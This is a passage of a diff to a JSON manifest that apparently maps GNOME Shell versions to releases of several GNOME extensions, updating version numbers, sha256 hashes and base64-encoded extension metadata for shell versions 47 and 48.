KICAgICI0NSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDU0Cn0="},
     "46": {"version": "59", "sha256": "0x9h2c4q89mx531z89wzc5nb8rdl6zws4mzkjvi6n72pwalm02ji", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDU5Cn0="},
-    "47": {"version": "60", "sha256": "0g9p7ih1m75h74ds4wwr9p18h7bwzcllf1cc6mhplg6mkfp1xyii", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYwCn0="},
-    "48": {"version": "62", "sha256": "025xcq3bnwk66iv3w90hzlaxcizaffdm4ndxk0lw6njqzl6a1d3b", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYyCn0="}
+    "47": {"version": "64", "sha256": "0nq6p0114srspd69paw18val2lbx9cmncclx2a9v2df7nszf0kzv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY0Cn0="},
+    "48": {"version": "63", "sha256": "1763z4hik1gnik0xcnrx5wk0x9f3jl0rnavckjwshscvszwsbj09", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYzCn0="}
   }}
 , {"uuid": "native-window-placement@gnome-shell-extensions.gcampax.github.com", "name": "Native Window Placement", "pname": "native-window-placement", "description": "Arrange windows in overview in a more compact way.", "link": "https://extensions.gnome.org/extension/18/native-window-placement/", "shell_version_map": {
     "38": {"version": "45", "sha256": "15vhdcfrfbsinp0m1jfygjl4djccafhvgwc1rsi321jvykqhajmm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgIm5hbWUiOiAiTmF0aXZlIFdpbmRvdyBQbGFjZW1lbnQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgIndlcG1hc2NoZGFAZ214LmRlIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uYXRpdmUtd2luZG93LXBsYWNlbWVudCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zOCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQ1Cn0="},
@@ -115,8 +115,8 @@
     "44": {"version": "53", "sha256": "18k0b7vsjmvbvnzb5b5qa3jk0i14ah93cwi1399m6ma9llhyhwjw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDUzCn0="},
     "45": {"version": "56", "sha256": "0g864ji4bazc7x25qqjrcayhpq8sqrabxdwfl7iviz7s0yc40iz0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDU2Cn0="},
     "46": {"version": "61", "sha256": "1yj036mlrcsfk3sz4is9dh5vby9qm8zkvia3z7rl8mjpn43jlrga", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYxCn0="},
-    "47": {"version": "62", "sha256": "1kxlgvghx4c0m24bfrx7wnymqg38h7diz7l9mxzcyadf5d2kfkia", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYyCn0="},
-    "48": {"version": "64", "sha256": "02xjh6hm3bz1gnnchj09lxxmnal8dqfc0czr3aar1d3la1r16jgw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY0Cn0="}
+    "47": {"version": "66", "sha256": "1mjxd8hgc4q8ppraf68gp6k3w3y7pswxlczbvdg24s1zld7rl926", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY2Cn0="},
+    "48": {"version": "65", "sha256": "1i3vyx5nq14vks2yynyp22v879v074nfc59s83jjwzaww0kl6gi8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFycmFuZ2Ugd2luZG93cyBpbiBvdmVydmlldyBpbiBhIG1vcmUgY29tcGFjdCB3YXkuIiwKICAiZXh0ZW5zaW9uLWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAibmFtZSI6ICJOYXRpdmUgV2luZG93IFBsYWNlbWVudCIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAid2VwbWFzY2hkYUBnbXguZGUiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIm5hdGl2ZS13aW5kb3ctcGxhY2VtZW50QGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY1Cn0="}
   }}
 , {"uuid": "user-theme@gnome-shell-extensions.gcampax.github.com", "name": "User Themes", "pname": "user-themes", "description": "Load shell themes from user directory.", "link": "https://extensions.gnome.org/extension/19/user-themes/", "shell_version_map": {
     "38": {"version": "42", "sha256": "0jykwcd8pmvr03dm2vala6nzzhi9i83c11svgx8wymfvxr5qrya8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgc2hlbGwgdGhlbWVzIGZyb20gdXNlciBkaXJlY3RvcnkuIiwKICAiZXh0ZW5zaW9uLWlkIjogInVzZXItdGhlbWUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAibmFtZSI6ICJVc2VyIFRoZW1lcyIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiBbCiAgICAiam9obi5zdG93ZXJzQGdtYWlsLmNvbSIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudXNlci10aGVtZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zOCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogInVzZXItdGhlbWVAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDIKfQ=="},
@@ -127,8 +127,8 @@
     "44": {"version": "51", "sha256": "0m7gw3lcds1r6d8q5962bjxb4b2hqy633c73axxc5gvyr9i0bjf2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgc2hlbGwgdGhlbWVzIGZyb20gdXNlciBkaXJlY3RvcnkuIiwKICAiZXh0ZW5zaW9uLWlkIjogInVzZXItdGhlbWUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tdXNlci10aGVtZSIsCiAgIm5hbWUiOiAiVXNlciBUaGVtZXMiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImpvaG4uc3Rvd2Vyc0BnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnVzZXItdGhlbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAidXNlci10aGVtZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA1MQp9"},
     "45": {"version": "54", "sha256": "0gpkxmjaaq9rmh16wf5cf24q2w2wb0z0z8v7mcg7wrwsjszg7xhb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgc2hlbGwgdGhlbWVzIGZyb20gdXNlciBkaXJlY3RvcnkuIiwKICAiZXh0ZW5zaW9uLWlkIjogInVzZXItdGhlbWUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tdXNlci10aGVtZSIsCiAgIm5hbWUiOiAiVXNlciBUaGVtZXMiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImpvaG4uc3Rvd2Vyc0BnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnVzZXItdGhlbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAidXNlci10aGVtZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA1NAp9"},
     "46": {"version": "60", "sha256": "0vbhw6zrn6m0m5x0i8z8jjxlv53a9li2rf5sgkidkq65axbfxpgv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgc2hlbGwgdGhlbWVzIGZyb20gdXNlciBkaXJlY3RvcnkuIiwKICAiZXh0ZW5zaW9uLWlkIjogInVzZXItdGhlbWUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tdXNlci10aGVtZSIsCiAgIm5hbWUiOiAiVXNlciBUaGVtZXMiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImpvaG4uc3Rvd2Vyc0BnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnVzZXItdGhlbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAidXNlci10aGVtZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA2MAp9"},
-    "47": {"version": "61", "sha256": "1ka7kc1qyxl1k0d6hx36k12qbmhwjr8zy5d96dbyqs8bxm7d654f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgc2hlbGwgdGhlbWVzIGZyb20gdXNlciBkaXJlY3RvcnkuIiwKICAiZXh0ZW5zaW9uLWlkIjogInVzZXItdGhlbWUiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tdXNlci10aGVtZSIsCiAgIm5hbWUiOiAiVXNlciBUaGVtZXMiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImpvaG4uc3Rvd2Vyc0BnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnVzZXItdGhlbWUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAidXNlci10aG